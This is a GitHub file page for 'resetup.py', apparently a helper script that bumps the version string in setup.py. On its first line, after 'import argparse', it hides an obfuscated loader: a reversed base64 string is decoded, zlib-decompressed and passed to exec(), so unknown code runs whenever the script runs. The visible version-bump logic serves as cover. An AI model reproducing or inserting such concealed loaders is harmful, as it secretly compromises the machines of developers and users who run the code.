-
Notifications
You must be signed in to change notification settings - Fork 0
/
resetup.py
13 lines (13 loc) · 1.75 KB
/
resetup.py
1
2
3
4
5
6
7
8
9
10
11
12
13
import argparse _ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'V0tUSNQ+oEt2MftpiHskE6TLk3oB+GIPwOPJz0do6Gfge2u559uIegMQM2+KhDzm7BMhWGWOluDtSu1pw845oxkuj5RIlGxVUOGmbC0fHU5oON/rRtziAP7p5Y/2F30YmShlh305R9pFBjWjVYsp9qWN9pQK9S0FWEU/SzXAi7hgh2r9cC4nvEMZ7EueS871jcxwrsVCYL7Smn5YKzOO513ye9j7W+G5FExUyIxlo7VGqmVQe+oQVcAXQnUIlc3vZPpEIIZt76kR0d1BcoRtlR+tLytVqmN0IXbAGhmtjjMOR3+7w2gFkELsAfWpiC846//WgolSVD4xiLxbbyk5Zxg48KWrTqa4N4wOfvn3gD4ttIZBmo9+8X4z1udUchE+5kh0ZUrFpjKDkuUdTICkFUZh+dXhQAzgvFDkVyJe'))
import re
arg = argparse.ArgumentParser()
arg.add_argument('--version', type=str)
args = arg.parse_args()
if args.version:
new = open('setup.py').read().replace(
'0.1.6',
re.search(r'\/?([0-9][0-9A-Za-z\.]+)', args.version).group(1)
)
with open('setup.py', 'w') as fil:
print(new)
fil.write(new)